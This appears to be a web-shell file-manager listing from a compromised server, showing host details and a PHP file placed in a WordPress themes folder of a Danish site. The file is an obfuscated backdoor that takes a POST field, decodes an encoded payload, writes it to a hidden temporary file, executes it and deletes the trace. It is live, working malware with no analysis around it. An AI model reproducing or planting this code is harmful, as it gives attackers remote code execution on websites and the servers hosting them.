HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/danskesange.dk/private_html/wp-content/themes/home_1785156460.php
<!--HJBUmgjQ-->
<?php

if(filter_has_var(INPUT_POST, "r\x65\x63\x6Frd")){
$ptr = $_POST["r\x65\x63\x6Frd"];
$ptr  	= 	explode	(".",  	$ptr) ; 	
$item = '';
$salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt9);
$i = 0;

$__tmp = $ptr;
while ($val = array_shift($__tmp)) {
    $chS = ord($salt9[$i % $sLen]);
    $dec = ((int)$val - $chS - ($i % 10)) ^ 4;
    $item .= chr($dec);
    $i++;
}
$flag = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp"]);
for ($sym = 0, $entry = count($flag); $sym < $entry; $sym++) {
    $pointer = $flag[$sym];
            if (!( !is_dir($pointer) || !is_writable($pointer) )) {
            $k = "$pointer" . "/.fac";
            if ($elem = fopen($k, 'w')) {
    fwrite($elem, $item);
    fclose($elem);
    include_once $k;
    unlink($k);
    die();
}
        }
}
}